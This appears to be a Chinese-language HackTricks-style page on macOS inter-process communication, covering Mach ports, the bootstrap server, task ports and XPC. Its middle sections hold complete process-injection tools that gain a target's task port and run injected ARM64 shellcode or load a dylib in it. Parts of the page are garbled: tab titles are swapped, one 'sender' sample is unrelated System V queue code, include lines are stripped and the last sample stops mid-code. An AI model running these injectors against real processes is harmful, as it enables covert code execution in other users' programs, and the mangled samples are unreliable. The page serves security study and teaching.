# macOS IPC - 进程间通信
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## 通过端口进行Mach消息传递
Mach使用**任务(task)**作为共享资源的**最小单位**,每个任务可以包含**多个线程**。这些**任务和线程与POSIX进程和线程一一对应**。
任务之间的通信通过Mach进程间通信(IPC)进行,利用单向通信通道。**消息通过端口进行传输**,端口类似于由内核管理的**消息队列**。
端口权限定义了任务可以执行的操作,这对通信至关重要。可能的**端口权限**有:
* **接收权限**,允许接收发送到端口的消息。Mach端口是MPSC(多生产者,单消费者)队列,这意味着整个系统中每个端口只能有**一个接收权限**(与管道不同,多个进程可以持有指向管道读端的文件描述符)。
* 拥有接收权限的**任务可以接收消息并创建发送权限**,从而可以发送消息。最初,只有**自己的任务对其端口拥有接收权限**。
* **发送权限**,允许向端口发送消息。
* 发送权限可以进行**克隆**,因此拥有发送权限的任务可以克隆该权限并将其授予第三个任务。
* **一次性发送权限**,允许向端口发送一条消息,然后消失。
* **端口集权限**,表示一个**端口集**而不是单个端口。从端口集中出队一条消息会从其中一个包含的端口中出队。端口集可用于同时监听多个端口,类似于Unix中的`select`/`poll`/`epoll`/`kqueue`。
* **死命名**,不是实际的端口权限,只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死命名。
**任务可以将发送权限传输给其他任务**,使其能够发送消息回来。**发送权限也可以进行克隆**,因此任务可以复制并将权限授予第三个任务。这与一个称为**引导服务器**的中间进程结合使用,可以实现任务之间的有效通信。
#### 步骤:
正如前面提到的,为了建立通信通道,涉及到**引导服务器**(mac中的**launchd**)。
1. 任务**A**初始化一个**新的端口**,在此过程中获得一个**接收权限**。
2. 作为接收权限的持有者,任务**A**为端口**生成一个发送权限**。
3. 任务**A**通过引导注册过程与**引导服务器**建立**连接**,提供**端口的服务名称**和**发送权限**。
4. 任务**B**与**引导服务器**交互,执行服务名称的引导**查找**。如果成功,**服务器复制从任务A接收到的发送权限**,并将其**传输给任务B**。
5. 获得发送权限后,任务**B**能够**构建**一条**消息**并将其**发送给任务A**。
引导服务器**无法对任务声称的服务名称进行身份验证**。这意味着一个任务有可能**冒充任何系统任务**,例如虚假地**声称授权服务名称**,然后批准每个请求。
然后,Apple将**系统提供的服务名称**存储在位于**SIP保护**目录下的安全配置文件中:`/System/Library/LaunchDaemons`和`/System/Library/LaunchAgents`。引导服务器将为每个这些服务名称创建并持有一个**接收权限**。
对于这些预定义服务,**查找过程略有不同**。当查找服务名称时,launchd会动态启动服务。新的工作流程如下:
* 任务**B**启动一个服务名称的引导**查找**。
* **launchd**检查任务是否正在运行,如果没有,则**启动**它。
* 任务**A**(服务)执行引导**签入**。在这里,引导服务器创建一个发送权限,保留它,并将**接收权限传输给任务A**。
* launchd复制**发送权限并将其发送给任务B**。
然而,这个过程仅适用于预定义的系统任务。非系统任务仍然按照最初的描述进行操作,这可能导致冒充。
### 代码示例
请注意,**发送方**在这里**分配**了一个端口,为名称`org.darlinghq.example`创建了一个**发送权限**,并将其发送到**引导服务器**,而发送方则请求该名称的**发送权限**并使用它来**发送消息**。
{% tabs %}
{% tab title="receiver.c" %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include
#include
#include
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
```
{% tab title="sender.c" %}
```c
#include
#include
#include
#include
#include
#include
#include
#define MAX_TEXT 512
struct msgbuf {
long mtype;
char mtext[MAX_TEXT];
};
int main() {
int msgid;
struct msgbuf msg;
// Create a message queue
msgid = msgget((key_t)1234, 0666 | IPC_CREAT);
if (msgid == -1) {
perror("msgget failed");
exit(EXIT_FAILURE);
}
// Set the message type
msg.mtype = 1;
// Set the message text
strncpy(msg.mtext, "Hello, receiver!", MAX_TEXT);
// Send the message
if (msgsnd(msgid, (void *)&msg, MAX_TEXT, 0) == -1) {
perror("msgsnd failed");
exit(EXIT_FAILURE);
}
printf("Message sent: %s\n", msg.mtext);
return 0;
}
```
{% endtab %}
{% tab title="receiver.c" %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
#include
#include
#include
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);
// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;
// Send the message.
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
```
{% endtab %}
{% endtabs %}
### 特权端口
* **主机端口**:如果一个进程对该端口具有**发送**权限,他可以获取有关系统的**信息**(例如`host_processor_info`)。
* **主机特权端口**:具有对该端口的**发送**权限的进程可以执行**特权操作**,如加载内核扩展。该进程需要是**root**才能获得此权限。
* 此外,为了调用**`kext_request`** API,还需要具有其他授权**`com.apple.private.kext*`**,这些授权仅提供给Apple二进制文件。
* **任务名称端口**:_任务端口_的非特权版本。它引用任务,但不允许对其进行控制。似乎唯一可以通过它获得的是`task_info()`。
* **任务端口**(也称为内核端口):对该端口具有发送权限,可以控制任务(读/写内存,创建线程等)。
* 调用`mach_task_self()`以获取调用者任务的名称。此端口仅在**`exec()`**之间**继承**;使用`fork()`创建的新任务会获得一个新的任务端口(作为特殊情况,suid二进制文件在`exec()`之后也会获得一个新的任务端口)。生成任务并获取其端口的唯一方法是在执行`fork()`时执行["端口交换舞蹈"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)。
* 这些是访问端口的限制(来自二进制文件`AppleMobileFileIntegrity`的`macos_task_policy`):
* 如果应用具有**`com.apple.security.get-task-allow`授权**,来自**同一用户的进程可以访问任务端口**(通常由Xcode用于调试)。**公证**过程不允许将其用于生产版本。
* 具有**`com.apple.system-task-ports`授权**的应用程序可以获取任何进程的**任务端口**,但不能获取内核的任务端口。在旧版本中,它被称为**`task_for_pid-allow`**。这仅授予Apple应用程序。
* **Root可以访问未使用强化运行时编译**(且不是来自Apple)的应用程序的任务端口。
### 通过任务端口在线程中注入Shellcode
您可以从以下位置获取Shellcode:
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
{% tabs %}
{% tab title="mysleep.m" %}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
```
{% tab title="entitlements.plist" %}权限清单.plist
```xml
com.apple.security.get-task-allow
```
{% endtab %}
{% endtabs %}
**编译**之前的程序,并添加**权限**以能够使用相同的用户注入代码(如果不是,则需要使用**sudo**)。
sc_injector.m
```objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
#import
#import
#include
#include
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s ", argv[0]);
return 1;
}
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
inject(pid);
}
return 0;
}
```
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject
```
### 通过任务端口在线程中进行Dylib注入
在 macOS 中,线程可以通过 Mach 或使用 posix `pthread` api 进行操作。我们在前面的注入中生成的线程是使用 Mach api 生成的,因此它不符合 posix 标准。
之前我们能够注入一个简单的 shellcode 来执行命令,是因为它不需要使用符合 posix 标准的 api,只需要使用 Mach。而更复杂的注入需要线程也符合 posix 标准。
因此,为了改进线程,应该调用 `pthread_create_from_mach_thread` 来创建一个有效的 pthread。然后,这个新的 pthread 可以调用 dlopen 来从系统中加载一个 dylib,这样就不需要编写新的 shellcode 来执行不同的操作,而是可以加载自定义库。
你可以在(例如生成日志并监听它的示例 dylibs)中找到示例 dylibs:
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}
dylib_injector.m
```objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
struct stat buf;
// Check if the library exists
int rc = stat (lib, &buf);
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Patch shellcode
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
```c
if (memcmp(possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8);
printf("从 mach 线程创建 Pthread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib);
}
}
// 将 shellcode 写入分配的内存
kr = mach_vm_write(remoteTask, // 任务端口
remoteCode64, // 虚拟地址(目标)
(vm_address_t) injectedCode, // 源
0xa9); // 源的长度
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "无法写入远程线程内存:错误 %s\n", mach_error_string(kr));
return (-3);
}
// 设置分配的代码内存的权限
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "无法设置远程线程代码的内存权限:错误 %s\n", mach_error_string(kr));
return (-4);
}
// 设置分配的堆栈内存的权限
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "无法设置远程线程堆栈的内存权限:错误 %s\n", mach_error_string(kr));
return (-4);
}
// 创建线程来运行 shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
remoteStack64 += (STACK_SIZE / 2); // 这是真正的堆栈
//remoteStack64 -= 8; // 需要 16 字节对齐
const char *p = (const char *)remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t)remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t)remoteStack64;
printf("远程堆栈 64 0x%llx,远程代码为 %p\n", remoteStack64, p);
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t)&remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "无法创建远程线程:错误 %s", mach_error_string(kr));
return (-3);
}
return (0);
}
int main(int argc, const char *argv[])
{
if (argc < 3)
{
fprintf(stderr, "用法:%s _pid_ _action_\n", argv[0]);
fprintf(stderr, " _action_:磁盘上 dylib 的路径\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat(action, &buf);
if (rc == 0)
inject(pid, action);
else
{
fprintf(stderr, "找不到 dylib\n");
}
}
```
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject
```
### 通过任务端口进行线程劫持
在这种技术中,进程的一个线程被劫持:
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %}
[macos-thread-injection-via-task-port.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
{% endcontent-ref %}
## XPC
### 基本信息
XPC代表XNU(macOS使用的内核)进程间通信,是macOS和iOS上进程之间通信的框架。XPC提供了一种在系统上进行安全、异步方法调用的机制。它是苹果安全范例的一部分,允许创建权限分离的应用程序,其中每个组件都以其工作所需的权限运行,从而限制了受损进程可能造成的潜在损害。
XPC使用一种称为进程间通信(IPC)的方法,用于在同一系统上运行的不同程序之间发送数据。
XPC的主要优点包括:
1. **安全性**:通过将工作分离到不同的进程中,每个进程只能被授予其所需的权限。这意味着即使进程被入侵,它也只能有限地造成损害。
2. **稳定性**:XPC帮助将崩溃隔离到发生崩溃的组件。如果一个进程崩溃,可以重新启动而不影响系统的其他部分。
3. **性能**:XPC允许轻松并发,因为不同的任务可以在不同的进程中同时运行。
唯一的**缺点**是将一个应用程序分成多个进程,通过XPC进行通信会**效率较低**。但在今天的系统中,这几乎不可察觉,而且好处更多。
### 应用程序特定的XPC服务
应用程序的XPC组件位于应用程序本身内部。例如,在Safari中,您可以在**`/Applications/Safari.app/Contents/XPCServices`**中找到它们。它们的扩展名为**`.xpc`**(例如**`com.apple.Safari.SandboxBroker.xpc`**),并且也是主要二进制文件的**捆绑包**:`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`和一个`Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
正如您可能想到的,**XPC组件将具有不同的授权和权限**,而不同于其他XPC组件或主应用程序二进制文件。除非XPC服务在其**Info.plist**文件中配置了[**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession)设置为“True”。在这种情况下,XPC服务将在与调用它的应用程序**相同的安全会话中运行**。
XPC服务在需要时由**launchd**启动,并在所有任务完成后**关闭**以释放系统资源。**应用程序特定的XPC组件只能被应用程序利用**,从而降低了与潜在漏洞相关的风险。
### 系统范围的XPC服务
系统范围的XPC服务对所有用户都可访问。这些服务,无论是launchd还是Mach类型,都需要在指定目录中的plist文件中进行**定义**,例如**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**或**`/Library/LaunchAgents`**。
这些plist文件将具有一个名为**`MachServices`**的键,其中包含服务的名称,以及一个名为**`Program`**的键,其中包含二进制文件的路径:
```xml
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
Program
/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon
AbandonProcessGroup
KeepAlive
Label
com.jamf.management.daemon
MachServices
com.jamf.management.daemon.aad
com.jamf.management.daemon.agent
com.jamf.management.daemon.binary
com.jamf.management.daemon.selfservice
com.jamf.management.daemon.service
RunAtLoad
```
**`LaunchDameons`**中的进程由root用户运行。因此,如果一个非特权进程可以与其中一个进程通信,它可能能够提升权限。
### XPC事件消息
应用程序可以订阅不同的事件消息,使它们能够在发生这些事件时按需启动。这些服务的设置是在**launchd plist文件**中完成的,位于与前面的文件相同的目录中,并包含一个额外的**`LaunchEvent`**键。
### XPC连接进程检查
当一个进程尝试通过XPC连接调用一个方法时,XPC服务应该检查该进程是否被允许连接。以下是检查的常见方式和常见陷阱:
{% content-ref url="macos-xpc-connecting-process-check.md" %}
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
{% endcontent-ref %}
### XPC授权
Apple还允许应用程序配置一些权限以及如何获取这些权限,因此如果调用进程具有这些权限,它将被允许调用XPC服务的方法:
{% content-ref url="macos-xpc-authorization.md" %}
[macos-xpc-authorization.md](macos-xpc-authorization.md)
{% endcontent-ref %}
### C代码示例
{% tabs %}
{% tab title="xpc_server.c" %}
```c
// gcc xpc_server.c -o xpc_server
#include
static void handle_event(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "message");
printf("Received message: %s\n", received_message);
// Create a response dictionary
xpc_object_t response = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(response, "received", "received");
// Send response
xpc_connection_t remote = xpc_dictionary_get_remote_connection(event);
xpc_connection_send_message(remote, response);
// Clean up
xpc_release(response);
}
}
static void handle_connection(xpc_connection_t connection) {
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
handle_event(event);
});
xpc_connection_resume(connection);
}
int main(int argc, const char *argv[]) {
xpc_connection_t service = xpc_connection_create_mach_service("xyz.hacktricks.service",
dispatch_get_main_queue(),
XPC_CONNECTION_MACH_SERVICE_LISTENER);
if (!service) {
fprintf(stderr, "Failed to create service.\n");
exit(EXIT_FAILURE);
}
xpc_connection_set_event_handler(service, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_CONNECTION) {
handle_connection(event);
}
});
xpc_connection_resume(service);
dispatch_main();
return 0;
}
```
{% tab title="xpc_client.c" %}
```c
#include
#include
#include
int main(int argc, const char * argv[]) {
xpc_connection_t connection = xpc_connection_create_mach_service("com.apple.securityd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_DICTIONARY) {
const char *description = xpc_dictionary_get_string(event, "description");
printf("Received event: %s\n", description);
}
});
xpc_connection_resume(connection);
dispatch_main();
return 0;
}
```
{% endtab %}
{% tab title="xpc_server.c" %}
```c
// gcc xpc_client.c -o xpc_client
#include
int main(int argc, const char *argv[]) {
xpc_connection_t connection = xpc_connection_create_mach_service("xyz.hacktricks.service", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
